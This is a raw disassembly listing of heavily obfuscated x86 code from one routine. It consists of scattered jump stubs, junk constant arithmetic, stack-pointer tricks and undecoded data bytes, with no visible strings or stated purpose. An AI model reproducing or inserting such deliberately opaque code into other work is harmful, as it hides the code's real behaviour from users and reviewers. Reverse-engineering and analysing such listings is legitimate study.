0FFBAE95Ch dd 0D831FFFEh, 0FF87CBE9h, 84E958FFh, 81FFFFC9h, 0B86069CAh dd 94E94A62h, 0ACFFFF65h, 5DE9h db 0 ; --------------------------------------------------------------------------- loc_5635B1: ; CODE XREF: sub_542C3C+1C175j xchg ebx, [esp+80h+var_80] pop esp or edx, eax shl edx, 1 push ecx jmp loc_566DED ; --------------------------------------------------------------------------- loc_5635BF: ; CODE XREF: sub_542C3C+15966j add edi, 4 xchg edi, [esp+90h+var_90] pop esp push edi jmp loc_5611BF ; --------------------------------------------------------------------------- loc_5635CC: ; CODE XREF: sub_542C3C+22C73j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+94h+var_94] pop esp mov [esp+90h+var_90], ebp jmp loc_55C118 ; --------------------------------------------------------------------------- dd 8F04C483h, 0E9522404h, 13ABh ; --------------------------------------------------------------------------- loc_5635F0: ; CODE XREF: sub_542C3C+23552j dec ah shr ah, 1 jmp loc_557191 ; --------------------------------------------------------------------------- loc_5635F9: ; CODE XREF: sub_542C3C+16B88j pop ecx sub esi, 3C5C3D78h push eax mov eax, 6AF561F2h shl eax, 8 jmp loc_555D20 ; --------------------------------------------------------------------------- dw 0D830h dd 0E617E953h, 1C33FFFFh, 24248B24h, 6A68C80Fh, 8900006Fh dd 21E92404h db 0FFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56362B: ; CODE XREF: sub_542C3C+1F604j pop [esp+70h+var_70] pop esp mov [esp+68h+var_68], ebp mov ebp, 21575A4Fh jmp loc_56174B ; --------------------------------------------------------------------------- dd 4EF835Dh, 5C243C87h, 89241C89h, 4C381E3h, 51000000h dd 8430B6B9h, 38F18169h, 0F726C034h, 75F181D1h, 1B0BBFBh dd 1C3359CBh, 0AF8BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56366E: ; CODE XREF: sub_542C3C+130CDj mov eax, [esp+50h+var_50] add esp, 4 jmp loc_56676D ; --------------------------------------------------------------------------- loc_563679: ; CODE XREF: sub_542C3C+24727j add edx, 4 jmp loc_567D6B ; --------------------------------------------------------------------------- dd 0B9240C89h, 2, 3359CF01h, 3C31243Ch, 243C3324h, 0E924248Bh dd 1E3Ch ; --------------------------------------------------------------------------- loc_5636A0: ; CODE XREF: sub_542C3C+2356Dj push ecx mov ecx, 658E1D94h add ecx, 0F6AB5171h mov edx, ecx pop ecx jmp loc_55E477 ; --------------------------------------------------------------------------- loc_5636B4: ; CODE XREF: sub_542C3C+11A3Bj dec dh or dh, 0B4h add dh, 0D4h jmp loc_55FAD8 ; --------------------------------------------------------------------------- loc_5636C1: ; CODE XREF: sub_542C3C+1401Aj push edx mov edx, esp push esi mov esi, 4 jmp loc_55F972 ; --------------------------------------------------------------------------- loc_5636CF: ; CODE XREF: sub_542C3C+252A5j and eax, ebx push [esp+8Ch+var_8C] jmp loc_564BC5 ; --------------------------------------------------------------------------- db 0BAh, 0CCh, 7 dd 0DAF75BDAh, 0FFFDC3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5636E5: ; CODE XREF: sub_542C3C+15F66j pop edi add edi, 41804520h pop esi push ecx mov ecx, 381672C9h add edi, ecx pop ecx add edi, eax sub edi, 381672C9h jmp loc_5540CE ; --------------------------------------------------------------------------- db 0B4h dd 58E7286Dh, 29E9F830h, 66FFFFDEh, 685Ah, 0C280000h, 2B11E924h dd 875A0000h, 5B5C2434h, 0FEFE23E9h, 24248BFFh, 2404D366h dd 0FE16E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563736: ; CODE XREF: sub_542C3C+21B57j xor [esp+70h+var_70], ebx xor ebx, [esp+70h+var_70] pop esp shr eax, 12h xor eax, ecx push 2B69h jmp loc_564349 ; --------------------------------------------------------------------------- dd 0BD55F701h, 4A476FBAh, 2266E9h, 0D4C68100h, 5B472552h dd 0FF114BE9h, 4C181FFh, 83000000h, 0E5E904C1h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563773: ; CODE XREF: sub_542C3C+2345Aj add ebx, 0E9272576h jmp loc_56575A ; --------------------------------------------------------------------------- loc_56377E: ; CODE XREF: sub_542C3C+23A57j pop ebp or esi, 37AB10BBh or esi, 747F5D24h add esi, 80008245h add ebx, esi mov esi, [esp+6Ch+var_6C] jmp loc_56592D ; --------------------------------------------------------------------------- db 83h dd 3F6804C1h, 89000029h, 0A0E9240Ch, 83FFFF1Eh, 0C8904ECh dd 808FB124h, 0C1FEC4F1h, 0E953C180h, 0FFFFE941h, 243C8B58h dd 4C481h, 0BB530000h, 23170B53h, 42685152h, 590DA277h dd 0F181D9F7h, 0CF9CB798h, 0FFE2B4E9h, 0C1015EFFh, 6923E981h dd 0E9811AB5h, 322D67F3h, 0FF2B60E9h, 1F34BDFFh, 0EFE962BFh db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563803: ; CODE XREF: sub_542C3C+1B685j or ebx, edx pop edx shr ebx, 7 jmp loc_55D451 ; --------------------------------------------------------------------------- dw 8358h dd 1C8904ECh, 56E38924h, 1D155ABEh, 0E9514E44h, 0FFFF8FC7h dd 0E904C483h, 2098h, 0FF24248Bh, 34FF2434h, 0C4815924h dd 4, 121668h, 242C8900h, 91E9E589h, 52FFFFA6h, 2D2324BAh dd 9BB5314h, 166E3E4h, 0D6215BDAh, 4EE815Ah, 83001002h dd 0C8904ECh, 26C6B924h, 0C1810FB0h, 605BED5Fh, 0C8BCF01h dd 4C48324h, 0FFD9F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_563881: ; CODE XREF: sub_542C3C+2020Aj sub bl, al push eax jmp loc_56175B ; --------------------------------------------------------------------------- db 0F7h, 0D1h, 0F7h dd 0E18149D9h, 67434AC5h, 2652F181h, 0CA313630h, 83240C8Bh dd 0CA8104C4h, 2DE36571h, 0F281DAF7h, 108005B7h, 7DBFEA81h dd 0C2817B24h, 5F9643D5h, 148BD789h, 4C48324h, 15FF901h dd 66E959CBh db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5638CF: ; CODE XREF: sub_542C3C+13D5Dj add edx, ebp jmp loc_56841A ; --------------------------------------------------------------------------- dw 0C868h dd 8300003Ch, 348904ECh, 34A1E924h, 0E8C1FFFFh, 162C3506h dd 0AD2D6EF5h, 215175DEh, 0DBF758C3h, 0FF3C49E9h, 4EC83FFh dd 0E9241C89h, 0FFFF6231h, 4EE815Fh, 87000000h, 248B2434h dd 24348924h, 0FF9065E9h, 3DBB53FFh, 894EFF05h, 2346E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56392A: ; CODE XREF: sub_542C3C+16CF9j push cx mov ch, 0D0h sub dh, ch pop cx or dh, 9Bh inc dh shr dh, 4 push eax jmp loc_568432 ; --------------------------------------------------------------------------- dd 6EB0E954h, 29B4FFFFh, 0DBE9E300h, 0B9FFFFB2h, 6DE37D39h dd 2FC5BE56h, 0EE832B52h, 0EE8146FFh, 7817194Bh, 27AFC681h dd 64E93025h, 89FFFF59h, 34812434h, 47628A24h, 0F759E92Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56397E: ; CODE XREF: sub_542C3C+23DD7j push esp pop ecx add ecx, 4 push 5DF3h mov [esp+0A6h+var_A6], edx jmp loc_553838 ; --------------------------------------------------------------------------- db 59h dd 7376E957h, 48FFFFFh, 24048324h, 241C8B04h, 4C481h, 24680000h dd 8900000Fh, 6E9240Ch db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5639B7: ; CODE XREF: sub_542C3C+1EB1Aj push ebx jmp loc_55CC5F ; --------------------------------------------------------------------------- db 81h, 0CFh, 0F4h dd 813B044Fh, 15FFF0F7h, 0E8E952BBh, 59FFFF71h, 41A8BD55h dd 0ABE95FA9h, 51FFFFDBh, 6A4D68h, 24248900h, 4240481h dd 8B000000h, 0C481240Ch, 4, 47BBD55h, 0D7E93DDEh db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5639FF: ; CODE XREF: sub_542C3C+1CF86j push 4598068Eh mov eax, [esp+70h+var_70] jmp loc_55FE11 ; --------------------------------------------------------------------------- dd 0FFF28958h, 0E95E2434h, 0FFFFD02Dh, 3BF06856h, 4E5E6A2Dh dd 0FF540BE9h, 243C33FFh, 0E089505Ch, 405h, 0B0C7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563A36: ; CODE XREF: sub_542C3C+1F8C8j dec eax sub eax, 2DFC39B5h jmp loc_555248 ; --------------------------------------------------------------------------- loc_563A41: ; CODE XREF: sub_542C3C+1CEA9j push eax mov al, 57h neg al push ebx push eax mov al, 4Fh mov bh, 0B7h jmp loc_55FA6C ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aHbg db '$h¡G',0 align 2 dw 3489h dd 4EC8124h, 0E9000000h, 0FFFFAB41h, 1767EA81h, 0F20139EBh dd 1767C281h, 0C28139EBh, 4C650A69h, 2C2835Eh, 31241433h dd 5CE92414h, 52FFFF83h, 4BAh, 63C68100h, 815DA761h, 0A74C49EEh dd 81D6016Eh, 0A74C49C6h, 63EE816Eh, 5A5DA761h, 0FF97B0E9h dd 59CB01FFh, 4EC81h, 34890000h, 3BA0BE24h, 0DE92EBEh dd 5500003Eh, 2403A8BDh, 0E9595546h, 25C7h, 0C7815A5Fh dd 60D21561h, 4573BA52h, 0CA810CB8h, 0E324AD5h, 8104E2C1h dd 5D0EEECAh, 7CE94255h, 89FFFF03h, 8B542414h, 0C4812414h dd 4, 4548BB53h, 0EBC1385Ah, 93489306h, 257FB850h, 0F2510D5h dd 0F74F7153h, 0D30540D0h, 354F9B22h, 47EA4C6Fh, 0E5DE9h db 0 ; --------------------------------------------------------------------------- loc_563B2D: ; CODE XREF: sub_542C3C+218E6j sub ebp, edi jmp loc_56475D ; --------------------------------------------------------------------------- loc_563B34: ; CODE XREF: sub_542C3C+11EF0j inc edx and edx, 2ABD6731h xor edx, 53B8662Ch add ebx, edx jmp loc_5546B4 ; --------------------------------------------------------------------------- dd 4EDC15Eh, 6414ED81h, 0ED81148Fh, 8857040Ch, 7C2A68h dd 24148900h, 474AADBAh, 3FB8507Eh, 1090B72h, 24E958C2h dd 81FFFFD6h, 4718ABE1h, 6E12E938h, 5857FFFFh, 8B2434FFh dd 0C483243Ch, 4C48304h, 1A82E9h db 0 ; --------------------------------------------------------------------------- loc_563B91: ; CODE XREF: sub_542C3C+180B7j or ecx, 6F794BA8h inc ecx xchg ebp, ecx not ebp jmp loc_55F07C ; --------------------------------------------------------------------------- db 51h, 0B9h, 4 dd 0E9000000h, 0FFFFD25Ch, 5B54535Ch, 4C381h, 46E90000h dd 1FFFF59h, 36C581CDh, 59125C3Bh, 2C8BE989h, 4C48324h dd 8904EC83h, 0EEE9243Ch, 0FF000013h, 0E9042474h, 0FFFFCF79h dd 24048B66h, 599768h, 24048900h, 0E9515854h, 0FFFFE2BFh ; --------------------------------------------------------------------------- loc_563BF4: ; CODE XREF: sub_542C3C+21CBCj push ebp push 4C0C5622h pop ebp xor ebp, 11744597h xor ebp, 32D8703Ah mov ecx, ebp pop ebp shl ecx, 3 sub ecx, 1A0B3E36h add ecx, 0E20B621Ah and edx, ecx pop ecx or edx, 41B55270h add edx, 731F6E93h add edx, 472B3F01h push 4929h mov [esp+0AEh+var_AE], edx push edx mov edx, 1D7768Eh xor [esp+0B2h+var_AE], edx pop edx pop ecx xor ecx, 1D7768Eh pop edx add esi, 9A44BAEh add esi, ecx sub esi, 9A44BAEh jmp loc_5544A8 ; --------------------------------------------------------------------------- loc_563C5C: ; CODE XREF: sub_542C3C+14618j add ebp, 4 add ebp, 4 xchg ebp, [esp+8Eh+var_90+2] pop esp push 29F1h jmp loc_55A00D ; --------------------------------------------------------------------------- dw 8957h dd 4C781E7h, 0E9000000h, 0FFFF7655h ; --------------------------------------------------------------------------- loc_563C84: ; CODE XREF: sub_542C3C+212CDj xchg ebx, [esp+8Eh+var_90+2] jmp loc_5544E8 ; --------------------------------------------------------------------------- dd 0E902C483h, 0FFFFCD26h, 6E9C15Ch, 42BF5741h, 0E94E4303h dd 1905h, 7FBDF181h, 0CD016CB9h, 0FFF331E9h db 0FFh ; --------------------------------------------------------------------------- loc_563CB1: ; CODE XREF: sub_542C3C+19C7Ej shl al, 1 jmp loc_5556E5 ; --------------------------------------------------------------------------- dd 555FFD29h, 5D241CF7h, 0E6C7C581h, 6F09DD6Ah, 2434FF1Ch dd 9F3FE95Dh, 0C280FFFFh, 5AD088D3h, 0FF94FDE9h, 8B5457FFh dd 0C483243Ch, 5D31E904h, 0C181FFFFh, 60B86837h, 80D6E981h dd 0CF01D63Ch, 3C60E9h db 0 ; --------------------------------------------------------------------------- loc_563CFD: ; CODE XREF: sub_542C3C+1CE38j mov bl, 0B8h and al, bl jmp loc_5610A6 ; --------------------------------------------------------------------------- loc_563D06: ; CODE XREF: sub_542C3C+11710j xchg ebp, [esp+88h+var_88] jmp loc_5577A0 ; --------------------------------------------------------------------------- dw 51B9h dd 0E918DD04h, 0FFFF3294h, 1800012Dh, 0AE27E939h, 8B35FFFFh dd 0E96BDAA4h, 1E89h, 0E924348Bh, 0FFFFDC04h ; --------------------------------------------------------------------------- loc_563D34: ; CODE XREF: sub_542C3C+1E7AAj pop [esp+94h+var_94] jmp loc_56235E ; --------------------------------------------------------------------------- loc_563D3C: ; CODE XREF: sub_542C3C+1539Cj pop [esp+94h+var_94] mov esp, [esp+90h+var_90] push 186Fh mov [esp+94h+var_94], edx push 2EE856BBh mov edx, [esp+98h+var_98] sub esp, 4 mov [esp+9Ch+var_9C], ebp push 53FBh mov [esp+0A0h+var_A2+2], esp add [esp+0A0h+var_A2+2], 4 jmp loc_562DFC ; --------------------------------------------------------------------------- loc_563D6C: ; CODE XREF: sub_542C3C+11FE6j xor esi, 96C4C9Ah and edi, esi push [esp+70h+var_70] jmp loc_56351A ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_55714D ; --------------------------------------------------------------------------- db 21h, 0C2h, 8Bh dd 8FE92404h, 81FFFF35h, 0F5C71C2h, 81DA0170h, 0F5C71EAh dd 14875B70h, 33E95C24h, 87000014h, 248B2434h, 0B60F6624h dd 0EA6866C8h, 0C89660Dh, 0F786E924h, 5368FFFEh, 59452849h dd 81D9F749h, 0D7B6ACE9h, 0CA8952BAh, 8B5AD089h, 0C481240Ch dd 4, 3358C201h, 14312414h, 24143324h, 48B665Ch, 0D99FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563DFA: ; CODE XREF: sub_542C3C+1B6A0j push 6AD9h mov [esp+88h+var_88], ecx jmp loc_554D4B ; --------------------------------------------------------------------------- db 5Dh dd 5558C329h, 0FF97B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_563E11: ; CODE XREF: sub_542C3C+1A33Fj add ebx, edx sub ebx, 107C7395h push [esp+84h+var_84] pop edx sub esp, 4 mov [esp+88h+var_88], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+88h+var_88] jmp loc_557782 ; --------------------------------------------------------------------------- loc_563E37: ; CODE XREF: sub_542C3C+1EDCFj pop edx push ebp mov ebp, esp jmp loc_5574A5 ; --------------------------------------------------------------------------- dd 0E953DDF7h, 0FFFF5E82h, 2E1C15Ch, 0FFCE981h, 0E9520140h dd 0FFFFB718h, 66B6C381h, 0E95F37BEh, 350Bh, 28D7C280h dd 0D7EA80EAh, 0FFA928E9h, 0FF5B59FFh, 83592434h, 0E36804C4h dd 0E9000074h, 0FFFF01CBh ; --------------------------------------------------------------------------- loc_563E84: ; CODE XREF: sub_542C3C+15C20j mov [esp+68h+var_68], edx push [esp+68h+var_64] pop edx pop [esp+68h+var_68] mov esp, [esp+64h+var_64] jmp loc_559566 ; --------------------------------------------------------------------------- db 5Ch dd 64242C81h, 0E93FD72Ah, 0FFFF9484h ; --------------------------------------------------------------------------- loc_563EA4: ; CODE XREF: sub_542C3C+1C9AAj push ebx mov ebx, 744B77EFh jmp loc_5661A5 ; --------------------------------------------------------------------------- db 8Bh dd 4AE9243Ch db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563EB7: ; CODE XREF: sub_542C3C+2504Dj add ecx, edi pop edi sub edx, ecx pop ecx add edx, esi add edx, 4FF27311h jmp loc_55F280 ; --------------------------------------------------------------------------- dw 3B66h dd 79E99CC8h, 88FFFEF6h, 85FEE9EBh, 0C189FFFFh, 5859CB89h dd 0E95BDE01h, 0FFFFCC0Ah ; --------------------------------------------------------------------------- loc_563EE8: ; CODE XREF: sub_542C3C+240A5j add edi, 3C267336h jmp loc_557B77 ; --------------------------------------------------------------------------- loc_563EF3: ; CODE XREF: sub_542C3C+22468j sub eax, esi pop esi push [esp+96h+var_98+2] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_563C84 ; --------------------------------------------------------------------------- dw 405h dd 2D000000h, 4, 5C240487h, 0FF100BE9h, 1AE957FFh db 25h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563F27: ; CODE XREF: sub_542C3C+1D244j pop edi add edi, 4 add edi, 4 push edi jmp loc_56226C ; --------------------------------------------------------------------------- db 0B8h dd 40945CEDh, 59D4E940h, 0C281FFFFh, 727C5F2Fh, 0EA81F229h dd 727C5F2Fh, 5E2434FFh, 0E35EE950h, 0F101FFFFh, 51E9515Eh dd 5AFFFF38h, 33E95450h, 2DFFFF4Eh, 6ABF42E3h, 0E305F829h dd 5F6ABF42h, 8D094205h, 0F8E93Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563F82: ; CODE XREF: sub_542C3C+1FF48j add ecx, 4 xchg ecx, [esp+0A0h+var_A2+2] pop esp jmp loc_558A9F ; --------------------------------------------------------------------------- dw 1C89h dd 4EC8124h, 54000000h, 0E924048Fh, 0FFFF28BAh, 4BD555Bh dd 68000000h, 4A33h, 0BD242C89h, 56093B4Ch, 2B5DE9h db 0 ; --------------------------------------------------------------------------- loc_563FB9: ; CODE XREF: sub_542C3C+1F771j xchg ebx, edi xchg edi, esi add esi, 723C2550h add esi, 36F16F5Dh add eax, esi pop esi sub eax, 4 jmp loc_55EFBF ; --------------------------------------------------------------------------- dd 276D8EBBh, 0AB21687Fh, 0E95EDBDDh, 16B7h ; --------------------------------------------------------------------------- loc_563FE4: ; CODE XREF: sub_542C3C+1ED18j pop ebx jmp loc_558D76 ; --------------------------------------------------------------------------- loc_563FEA: ; CODE XREF: sub_542C3C+1EC70j sub edi, edx pop edx push esi push ebp push 51457972h pop ebp inc ebp push edx mov edx, 6B131F62h jmp loc_55EE8E ; --------------------------------------------------------------------------- db 1, 0F8h, 0E9h dd 0FFFFA320h, 63D3BB53h, 0C3813ECDh, 3D387152h, 0D521EB81h dd 3EE97C05h, 5AFFFF7Dh, 0FF35C9E9h, 0EA8158FFh, 7BE6E92h dd 0C281DAF7h, 8006F469h, 242C8152h, 1BBB4554h, 54C7815Fh dd 8B1BBB45h, 0C4812414h, 4, 3C8BF821h, 38206824h, 4890000h dd 0E5E9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56405E: ; CODE XREF: sub_542C3C+1C43Bj mov esi, [esp+80h+var_80] push esi mov esi, esp jmp loc_556728 ; --------------------------------------------------------------------------- loc_564069: ; CODE XREF: sub_542C3C+15C30j add ecx, ebp jmp loc_55FCE5 ; --------------------------------------------------------------------------- dd 6EC6BA52h, 0D1013764h, 0C7C1815Ah, 11B3429h, 0C7E981F9h dd 681B3429h, 402Ah, 0FF8B21E9h db 0FFh ; --------------------------------------------------------------------------- loc_564091: ; CODE XREF: sub_542C3C+23E92j neg ecx shr ecx, 7 add ecx, 3739A336h or esi, ecx jmp loc_55D1BC ; --------------------------------------------------------------------------- db 66h dd 4566D5F7h, 7DF58166h, 0ED81661Ch, 81662024h, 668C15F5h dd 665DEB01h, 43FEB81h, 0E9242C8Bh, 0FFFFCB58h, 0C8CF814Fh dd 521A167Ah, 0FF231AE9h, 7E7C0FFh, 408F780h, 2CF80031h dd 8B665B31h, 0BC68240Ch, 89000075h, 50E9240Ch, 0E9FFFFCEh dd 0FFFEF454h, 64E26857h, 815F0C0Ah, 0F054BBF7h, 81E7D148h dd 0B9F50C7h, 8BFD0176h, 33E9243Ch db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564117: ; CODE XREF: sub_542C3C+19BAAj pop esp or eax, eax jz loc_558512 sub esp, 4 jmp loc_55FBB5 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEF41Ch, 0E904E883h, 0FFFF3064h ; --------------------------------------------------------------------------- loc_564138: ; CODE XREF: sub_542C3C+10E7Bj inc eax push edi mov edi, 559E2A73h jmp loc_55D4E7 ; --------------------------------------------------------------------------- dd 291D68h, 241C8900h, 71DDBB66h, 0B8665066h, 316618B6h dd 980CE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56415E: ; CODE XREF: sub_542C3C+14F1Fj add esi, edx push eax jmp loc_555D5E ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 40500h, 2DE90000h, 58FFFF37h, 0FF810DE9h, 0E9E120FFh dd 0FFFFA4B4h, 0C729595Ah, 0B5E78158h, 0C1402415h, 0F78108E7h dd 49700B00h, 117661B9h, 8BF9311Eh, 0C483243Ch, 0A3C18104h dd 81A88A96h, 0EF7D01EEh, 0E9CE0132h, 0FFFFEEE6h ; --------------------------------------------------------------------------- loc_5641B8: ; CODE XREF: sub_542C3C+2354Aj dec ecx and ecx, 4AD40352h add ecx, 1CEB3B1Eh mov ebx, ecx jmp loc_557229 ; --------------------------------------------------------------------------- dd 346B6EBEh, 6EEC10Ah, 5601C683h, 0F7241487h, 241487D2h dd 81BD555Eh, 5269C435h, 0FFE99CE9h, 80BE56FFh, 0C1224451h dd 0C68108E6h, 0FFFFFFFFh, 6A28EE81h, 0E6812B0Ah, 595E5D94h dd 0EA6EC681h, 0F701E6B9h, 4EC835Eh, 0FF243C89h, 5F042474h dd 5C24048Fh, 4B30F66h, 88E99C24h, 81FFFF1Dh, 4C6h, 998DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564236: ; CODE XREF: sub_542C3C+16700j pop edi sub esi, 4B9FF8D6h sub edx, esi pop esi mov ebp, [esp+48h+var_48] add esp, 4 push ecx mov ecx, 516E03DFh add ecx, 1F2A4D2Ch not ecx shl ecx, 4 xor ecx, 0EE79B212h add edx, ecx pop ecx sub edx, 2A173F39h jmp loc_55BB41 ; --------------------------------------------------------------------------- db 89h dd 4BE56E5h, 81000000h, 775A7FC5h, 0F8ED8108h, 13A012Dh dd 0F8C581F5h, 813A012Dh, 775A7FEDh, 0CC63E908h, 0D601FFFFh dd 2434335Ah, 0FF4258E9h, 5366ACFFh, 0FFA937E9h db 0FFh ; --------------------------------------------------------------------------- loc_5642A5: ; CODE XREF: sub_542C3C+15077j add ebx, edi pop edi sub ebx, eax sub ebx, 5F684547h add ebx, 595C6D18h push eax mov eax, 2D135953h jmp loc_563398 ; --------------------------------------------------------------------------- loc_5642C1: ; CODE XREF: sub_542C3C+139ECj add eax, 49BA416Ch jmp loc_55A200 ; --------------------------------------------------------------------------- db 83h dd 0C78104C4h, 4, 0FF97BFE9h, 2434FFFFh, 8B2434FFh, 8952240Ch dd 4C281E2h, 81000000h, 4C2h, 24148700h, 0F161E95Ch, 8F58FFFFh dd 248B2404h, 24048924h, 0FF5A49E9h, 0B95158FFh, 4, 3343D605h dd 21DE054Ah, 0C8014B30h, 0FF700EE9h, 4EB850FFh, 217B9119h dd 0EAD158C2h, 2414F752h, 5DC2815Ah, 896B4C39h, 1FE5E9D1h dd 0E3810000h, 5E513210h, 0FF8785E9h db 0FFh ; --------------------------------------------------------------------------- loc_564349: ; CODE XREF: sub_542C3C+20B0Bj mov [esp+70h+var_70], eax xor [esp+70h+var_70], ecx jmp loc_5545E6 ; --------------------------------------------------------------------------- dd 44CEF681h, 0C6811E23h, 0EA154776h, 505EF701h, 4EC81h dd 0C890000h, 3D186824h, 815967C0h, 591C27E9h, 2E1C102h dd 0FFBBFBE9h, 70AC68FFh, 14890000h, 0E9E28924h, 1663h ; --------------------------------------------------------------------------- loc_564390: ; CODE XREF: sub_542C3C+127B2j mov [esp+9Ch+var_9C], ecx mov ecx, 0B201D79h push edx mov edx, 3E8C72A5h sub edx, 2B5935ADh and ecx, edx pop edx xor ecx, 40D4AB2h or ecx, 4AC83C65h shl ecx, 3 shl ecx, 2 sub ecx, 0A1C46C59h add edx, ecx pop ecx add edx, esi sub esp, 4 mov [esp+9Ch+var_9C], edi push ebx push 7F8C780Ah pop ebx not ebx xor ebx, 2432518Fh xor ebx, 472008Bh sub ebx, 351588CDh mov edi, ebx pop ebx or edi, 28D75E68h inc edi and edi, 212D32BEh or edi, 5EFB6CE3h or edi, 760A348Dh add edi, 0DBEBF298h sub edx, 0A437672h sub edx, edi add edx, 0A437672h pop edi pop esi xor edx, [esp+94h+var_94] xor [esp+94h+var_94], edx xor edx, [esp+94h+var_94] jmp loc_560D0B ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 8F000000h, 895C2404h, 57E92434h, 29000016h, 0E904246Ch dd 0FFFFDC15h ; --------------------------------------------------------------------------- loc_564440: ; CODE XREF: sub_542C3C+1568Cj mov ebp, [esp+0A6h+var_A6] push 421Bh mov [esp+0AAh+var_AA], esi jmp loc_555A29 ; --------------------------------------------------------------------------- dd 87242C81h, 29121E4Fh, 9AE92404h, 89000022h, 64E9240Ch dd 8F000032h, 0BEE92404h db 30h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56446F: ; CODE XREF: sub_542C3C+154A2j mov [esp+40h+var_40], ebp sub esp, 4 jmp loc_557959 ; --------------------------------------------------------------------------- loc_56447D: ; CODE XREF: sub_542C3C+1103Fj push ebp mov ebp, 6B971234h not ebp and ebp, 4B7432FFh dec ebp sub ebp, 0BA06D8D9h xor eax, ebp pop ebp or eax, 1BF03AB4h sub eax, 5BF27ABBh add edx, eax pop eax jmp loc_559D28 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 51D80104h, 0D3121AB9h, 0E981415Fh, 1568F8FEh dd 669BE981h, 81417B68h, 0CFC350F1h, 0F3FE98Ah, 0E9C0FFFFh dd 1E63E908h, 74FF0000h, 48B0424h, 4C48124h, 8F000000h dd 248B2404h, 3FA3E924h, 0C3810000h, 1CF56A70h, 6DE9515Eh db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5644FB: ; CODE XREF: sub_542C3C+16149j push edi mov edi, 976C296Bh push edx mov edx, 23B906C1h sub edx, 73F27603h add edx, 600B4740h xor edx, 4DD70B81h xor edx, 6CAFBAB5h add ebp, edx pop edx jmp loc_563B2D ; --------------------------------------------------------------------------- db 89h dd 0ED815DEAh, 6BCD0B10h, 1C69E9h db 0 ; --------------------------------------------------------------------------- loc_564535: ; CODE XREF: sub_542C3C+22DE3j pop edx xor ebx, [esp+48h+var_48] xor [esp+48h+var_48], ebx jmp loc_556AF9 ; --------------------------------------------------------------------------- db 51h, 0E9h, 0C8h dd 68FFFF56h, 6B6Eh, 0E9242489h, 0FFFFEABCh, 0CC568h, 24148900h dd 4E27C3BAh, 0C0C28100h, 0F7326540h, 4333E9DAh, 14F70000h dd 61C4E924h, 1489FFFFh, 0E9536624h, 1020h, 0E9241C89h dd 0FFFFD1EBh, 7E3468h, 24248900h, 4240483h, 8124348Bh dd 4C4h, 5951E900h, 74FFFFFFh, 8F5B0424h, 248B2404h, 5E545624h dd 1ECAB951h, 0C181390Bh, 79B1244Bh, 0BCEFC181h, 0CE014D43h dd 83240C8Bh, 0BB5304C4h, 4, 73E9DE01h, 0E9FFFF8Ah, 0FFFEEF70h dd 8124348Bh, 4C4h, 3E2C100h, 8718EA81h, 0D5297EC5h, 5D6E9h db 0 ; --------------------------------------------------------------------------- loc_5645F5: ; CODE XREF: sub_542C3C+20592j add [esp+88h+var_84], esi jmp loc_564896 ; --------------------------------------------------------------------------- loc_5645FE: ; CODE XREF: sub_542C3C+11205j push ebx mov ebx, 684E51DCh add ebx, 0B7BFD3Fh add edx, ebx pop ebx pop ecx push esi mov esi, esp push ecx mov ecx, 4 add esi, ecx jmp loc_55BBE9 ; --------------------------------------------------------------------------- dw 3C87h dd 0E9505C24h, 0FFFF90F3h ; --------------------------------------------------------------------------- loc_564628: ; CODE XREF: sub_542C3C+24BEFj mov eax, esp jmp loc_560D16 ; --------------------------------------------------------------------------- loc_56462F: ; CODE XREF: sub_542C3C+175B1j xor ecx, 7FBF0C4Fh and ecx, 45D55478h add ecx, 0BE3BBFE4h add esi, ecx pop ecx sub esp, 4 mov [esp+80h+var_80], ecx jmp loc_555A3E ; --------------------------------------------------------------------------- loc_564652: ; CODE XREF: sub_542C3C+223CFj add ebx, 69C8171Bh add ebx, edi sub ebx, 69C8171Bh sub ebx, 85633AAh push ecx push edi mov edi, 0 push edx mov edx, edi mov ecx, edx jmp loc_5564C8 ; --------------------------------------------------------------------------- db 58h dd 81595451h, 4C1h, 950CE900h, 3C89FFFFh, 0A463BF24h, 0F901D47Dh dd 81243C8Bh, 4C4h, 8BC80100h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_562C40 ; --------------------------------------------------------------------------- loc_5646A6: ; CODE XREF: sub_542C3C+16ED6j push edi mov edi, 5FCA343Bh jmp loc_55E21A ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0F538E957h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5646BA: ; CODE XREF: sub_542C3C+1C54Dj add esp, 4 push 339Bh mov [esp+9Ch+var_9C], edx push edi push 58726D62h mov edi, [esp+0A4h+var_A6+2] 